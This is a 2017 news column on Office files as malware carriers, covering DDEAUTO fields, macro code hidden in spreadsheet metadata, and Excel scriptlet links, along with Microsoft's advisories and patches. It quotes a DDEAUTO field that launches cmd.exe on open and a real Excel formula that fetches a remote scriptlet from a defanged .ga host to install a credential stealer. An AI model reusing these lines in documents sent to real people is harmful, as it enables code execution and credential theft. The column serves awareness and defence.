Office as a malware delivery platform: DDE, Scriptlets, Macro obfuscation
Credit to Author: Woody Leonhard| Date: Tue, 19 Dec 2017 13:34:00 -0800
I, for one, thought that Office-based malware reached its zenith in the late 1990s, with the likes of Melissa. Sure, we’ve seen macro-based pain-in-the-neckware over the past two decades, including some macro malware that specifically attacks Macs, but by and large, Word, Excel and, to a lesser degree, PowerPoint now throw warning dialogs into the middle of just about any attack. Those with malevolent intent have moved on to greener fields.
Or have they?
Some clever researchers have found new and unexpected ways to get Word, Excel and PowerPoint documents to deliver all sorts of malware — ransomware, snoopers, even a newly discovered credential stealer that specializes in gathering usernames and passwords.
In many cases, these new uses employ methods as old as the hills. But the old warning signs don’t work as well as they once did: Confronted with a challenge like the one in the screenshot, many folks, nowadays, wouldn’t hesitate to click Yes.
Dive deep into Word and you’ll find a feature called fields. As best as I can tell, fields existed before macros. The idea behind a field is simple enough: You stick a field code inside a document that Word can calculate or put together in some way. Instead of showing you the field code, Word makes the calculation and presents you with the result of the calculation. For example, the field code {page} returns the current page number.
The details can get tricky: My Hacker’s Guide to Word for Windows contains 85 pages on field codes and their obtuse results. Mind you, that was 23 years ago.
The {DDEAUTO} field code must date back to Charles Simonyi’s time. It’s used to instruct Word to start another application, and either put data into that app or pull data from it. For example, the field
{DDEAUTO excel c:\xldata\addrlist.xls r5c1:r5c9}
tells Word to start up Excel, open the file named addrlist.xls, pull the contents of row 5 columns 1 thru 9, and stick them in the Word document. The {DDEAUTO} field fires when you open the Word document (that’s the “AUTO” part).
Before retrieving (or sending) the data, Word kicks up a warning message like the one in the preceding screenshot. If the referenced program isn’t running, you get an additional message asking if it’s OK to start the application.
Last October, Etienne Stalmans and Saif El-Sherei published an article for the Sensepost blog that describes a perfectly normal way of using the ancient technology. They put together this field:
{DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe" }
and found that it kicks off the Windows Calculator, provided the person opening the document clicks Yes on those two warning dialogs.
At first, that looked fine: {DDEAUTO} was working the way it should, the way it’s worked since pterodactyls moonlighted as cooler fans. But then some of us started feeling uneasy. Yeah, that’s the way it’s supposed to work — but is the potential security vulnerability worth the added benefit?
Kevin Beaumont on Twitter (@GossiTheDog) added more fuel to the flames:
Remember the Word DDE issue found by @sensepost? Copy the DDE from Word into Outlook, then email it to somebody. No attachment -> calc. As techniques go it’s pretty sweet as there’s no attachment for AV to scan. Outlook uses Word as email editor, it spawns the DDEAUTO. Bonus side effect — if you have cmd.exe disabled in Group Policy, it executes the exe in /k parameter, before claiming it is disabled.
The situation deteriorated rapidly. Tweeter Brian in Pittsburgh (@arekfurt) laid out a timeline:
By Oct. 27, we raised a warning here in Computerworld. On Nov. 8, Microsoft released Security Advisory 4053440, which described the problem and offered some solutions.
On Dec. 12, as part of this month’s Patch Tuesday, Microsoft released updates for all versions of Word — even the out-of-support Word 2003 and Word 2007 — that solved the problem by disabling {DDEAUTO} and “auto-update for any linked fields, including DDE” in general.
Per Security Advisory 170021 updates KB 4011575, 4011590, 4011608, 4011612, and 4011614 all contain the change, they all disable {DDEAUTO} in Word. Once you’ve installed the patch, there will be new registry keys available which you can change manually to re-enable {DDEAUTO}.
Excel and PowerPoint have not been similarly hobbled. They both already have manually accessible settings that disable the Auto settings (File > Options > Trust Center > Trust Center Settings > External Content).
So it appears as if the {DDEAUTO} hole is plugged, at least for now.
Earlier this week, Xavier Mertens published an illuminating hack on the SANS Internet Storm Center blog. Called Microsoft Office VBA Macro Obfuscation via Metadata, Mertens found a way to run macros where the bulk of the bad part is hidden inside a spreadsheet’s metadata.
When the macro runs — and the user has to click to allow it to run — the macro extracts the malicious code from metadata, bypassing most malware scanners. What looks like an innocuous macro with one weird call turns out to be a demon with fangs.
Very clever.
Earlier this morning, Andy Norton at security firm Lastline, published an eye-opening analysis of an attack delivered through an Excel spreadsheet that doesn’t use macros, doesn’t use DDE, but does use an external link to start a scriptlet. A scriptlet is “a Microsoft XML wrapper for scripting languages to register themselves as COM objects and execute.”
At heart of the attack demo is a cell that looks like this:
=Package|’scRiPt:http://magchris[.]ga/images/squrey.xml’!””
When the sheet gets opened, Excel prompts the user about updating external links and, if permission is granted, the scriptlet runs. In this case, the scriptlet kicks off a VBScript program, which does the dirty deed.
Today’s announcement includes an exploit found in the wild that installs the username-and-password-stealing program Loki. Norton put the spreadsheet through Virus Total, and only a few antivirus products catch it. People hunting down the source of the infection, says Norton,
would have to track back through various logs until they found a connection to a Gabon Top Level Domain [.ga] website, offered from a free web hosting service that downloaded an executable file – _output23476823784.exe – to the victim. Provided with this information, they would instigate a further scan for the second stage payload, or hunt for known IoCs of the payload.
It’s a strange new world.
Join the grumbling graybeards on the AskWoody Lounge.